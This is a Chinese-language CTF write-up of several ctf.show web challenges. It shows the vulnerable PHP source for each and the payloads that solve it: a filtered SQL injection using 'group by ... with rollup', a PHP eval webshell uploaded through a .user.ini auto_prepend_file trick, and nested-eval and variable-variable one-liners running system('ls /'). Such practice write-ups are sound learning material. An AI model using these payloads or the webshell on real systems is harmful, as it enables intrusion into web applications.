文章目录
一、ctf.show_web10
来到页面是一个登录框
点击取消按钮,出现源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
过滤了很多注入语句
这里主要用group by和with rollup相结合
group by不说了就是一个排列,默认升序
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
结果中将会多出一行,其中password列为null,count(*)为统计和。
例如:
select password,count(*) from test group by password with rollup;
所以我们构造payload:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL),/**/用来绕过空格过滤
即可获得flag
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}
二、ctf.show_web11
来到首页
可以看到php代码有很多限制
注意到获取flag的方式 $password==$_SESSION['password']
,password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。
得到flag:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}
三、ctf.show_web12
来到首页
先查看一下源码
有提示cmd变量,说明很可能后台具有代码执行的函数
输入phpinfo();查看php配置信息
发现禁用了很多命令执行的方法
还可利用highlight_file(“index.php”);查看源代码
这里再介绍一个php的函数glob();
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob(“*”));打印出了如下文件
再读取文件
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
获取flag:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}
四、ctf.show_web13
来到页面
尝试文件上传后没有效果,查找隐藏目录
发现upload.php,尝试upload.php.bak获取源码文件
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
获取到源码,发现限制条件文件的大小<=24,名字长度<=9,后缀长度<=3,并且名字和后缀不能有php
于是可以构造这样的木马
<?php eval($_POST['a']);
由于后缀原因先上传2.txt
再上传.user.ini文件。
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻,也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =2.txt,这样在该目录下的所有文件都会包含2.txt的内容
//
蚁剑连接上之后我们发现没有对文件操作的权限,所以我们直接在网页上查找flag。
利用POST提交
a=print_r(glob("*"));
再利用highlight_file()获得flag
a=highlight_file("文件名");
五、菜狗杯
1.web签到
来到页面
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
一直尝试了很久,这真的是签到题型吗?看了大佬的wp,总结一下
考察的是:请求方式和赋值的关系,还有Cookie字段的中文编码问题。
主要就是最后这个一句话木马的利用,嵌套的有点多,来理一下:
首先最里面是‘CTFshow-QQ群:’,前面是$_COOKIE,也就是取的是cookie中‘CTFshow-QQ群’的值;
那如果我们在cookie中传入 CTFshow-QQ群:=a
,那么一句话木马就变成了:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
那么$_POST[a]就是要以POST方式传入的a参数的值,我们将传入a=b
,那么就变为了:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b]也就是要以GET方式来传入b参数的值,我们再给b赋值b=c
,就得到:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4]
,其中$_REQUEST
是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]
的值。因为PHP数组是可以指定ID键分配值的.
那么我们就可以给C数组中的这些键直接赋值:
c[6][0][7][5][8][0][9][4][4]= system('ls /');
于是我们用POST形式发包,同时注意“群”
要用url编码为%E7%BE%A4
,否则burp不识别(给c赋值时可以放在请求头也可以放在请求实体中,因为request请求方式无论是用get还是post形式都可以接受)
这里我便捷使用hackbar
由此我们便得到了flagaaa文件,输入命令cat /f1agaaa
得到flag
收获很多
2.web2 c0me_t0_s1gn
来到页面
提示有信息需要去找,尝试使用御剑和dirsearch找目录没有发现,后面看到页面源代码
看到了flag的部分信息,又跟具体提示到控制台
提示运行方法找flag,运行后
发现flag后半段信息,拼接即可。
3.我的眼里只有$
来到页面
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
可以看到采用post方法传入参数,这里考察的就是变量的嵌套,一串的$
变量,最初的变量应该是_
,所以我们需要依次定义变量,在做后赋值为命令执行语句system('ls /');
并且变量不能重复
不太会写脚本,参考大佬的
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')
修改命令,可得到flag
总结
后续会一直分享ctfshow做题笔记